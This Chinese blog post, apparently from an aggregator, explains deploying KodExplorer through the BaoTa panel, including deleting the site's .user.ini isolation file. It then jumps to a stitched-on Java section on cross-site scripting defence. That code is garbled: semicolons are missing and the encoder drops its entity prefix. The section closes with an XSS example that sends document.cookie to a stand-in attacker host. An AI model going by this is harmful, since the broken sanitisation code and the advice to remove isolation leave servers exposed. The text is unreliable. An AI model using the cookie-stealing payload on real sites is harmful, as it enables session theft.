这个项目是个php项目,需要安装php环境
听说宝塔可以一键部署这玩意,可以先装个宝塔,在宝塔面板中找到一键部署,找到这个东西
wdnmd我竟然没找到可道云的一键部署,去官网看下,这是官网给出的,非常简单
我们就可以把这个解压到站点目录下,直接访问站点就行了
那宝塔么没有域名怎么创建站点之后可以访问:
可以使用当前ip或者127.0.0.1创建
站点根目录创建之后,宝塔为了防跨站攻击, 站点根目录都会有一个user.ini文件 ,
如果该文件存在,这个可道云就编辑不了该站点以外的文件,只能编辑本站内的文件,但是可以把想要访问的文件路径在这个文件中添加
该文件内容如下:
如果你不想这么麻烦,那么可以将这个文件删除,这个时候就可以任意访问,任意跳转,任意编辑
但是,这样的话一定要保证你这个可道云的密码安全度非常高,否则一旦被猜测到了,整个服务器就沦陷了
防止跨站点脚本攻击的解决方法:1.输入过滤对每一个用户的输入或者请求首部,都要进行过滤。这需要程序员有良好的安全素养,而且需要覆盖到所有的输入源。而且还不能够阻止其他的一些问题,如错误页等。final String filterPattern="[<>{}\\[\\]\\&]"String inputStr = s.replaceAll(filterPattern," ")2.输出过滤public static String encode(String data){final StringBuffer buf = new StringBuffer()final char[] chars = data.toCharArray()for (int i = 0i <chars.lengthi++){buf.append("" + (int) chars[i])}return buf.toString()}public static String decodeHex(final String data,final String charEncoding){if (data == null){return null}byte[] inBytes = nulltry{inBytes = data.getBytes(charEncoding)}catch (UnsupportedEncodingException e){//use default charsetinBytes = data.getBytes()}byte[] outBytes = new byte[inBytes.length]int b1int b2int j=0for (int i = 0i <inBytes.lengthi++){if (inBytes[i] == '%'){b1 = Character.digit((char) inBytes[++i], 16)b2 = Character.digit((char) inBytes[++i], 16)outBytes[j++] = (byte) (((b1 &0xf) <<4) +(b2 &0xf))}else{outBytes[j++] = inBytes[i]}}String encodedStr = nulltry{encodedStr = new String(outBytes, 0, j, charEncoding)}catch (UnsupportedEncodingException e){encodedStr = new String(outBytes, 0, j)}return encodedStr}<!-- Maps the 404 Not Found response codeto the error page /errPage404 --><error-page><error-code>404</error-code><location>/errPage404</location></error-page><!-- Maps any thrown ServletExceptionsto the error page /errPageServ --><error-page><exception-type>javax.servlet.ServletException</exception-type><location>/errPageServ</location></error-page><!-- Maps any other thrown exceptionsto a generic error page /errPageGeneric --><error-page><exception-type>java.lang.Throwable</exception-type><location>/errPageGeneric</location></error-page>任何的非servlet例外都被/errPageGeneric路径捕捉,这样就可以处理。Throwable throwable = (Throwable)request.getAttribute("javax.servlet.error.exception")String status_code = ((Integer)request.getAttribute("javax.servlet.error.status_code")).toString( )3.安装三方的应用防火墙,可以拦截css攻击。附:跨站脚本不像其他攻击只包含两个部分:攻击者和web站点。跨站脚本包含三个部分:攻击者,客户和web站点。跨站脚本攻击的目的是窃取客户的cookies,或者其他可以证明用户身份的敏感信息。攻击一个get请求GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0Host:www.vulnerable.site会产生如下的结果<HTML><Title>Welcome!</Title>Hi Joe Hacker<BR>Welcome to our system...</HTML>但是如果请求被篡改GET /welcome.cgi?name=<script>alert(document.cookie)</script>HTTP/1.0Host: www.vulnerable.site就会得到如下的响应<HTML><Title>Welcome!</Title>Hi <script>alert(document.cookie)</script><BR>Welcome to our system...</HTML>这样在客户端会有一段非法的脚本执行,这不具有破坏作用,但是如下的脚本就很危险了。http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>响应如下:<HTML><Title>Welcome!</Title>Hi<script>window.open(“www.attacker.site/collect.cgi?cookie=”+document.cookie)</script><BR>Welcome to our system...</HTML>浏览器回执行该脚本并将客户的cookie发到一个攻击者的网站,这样攻击者就得到了客户的cookie。欢迎分享,转载请注明来源:内存溢出
评论列表(0条)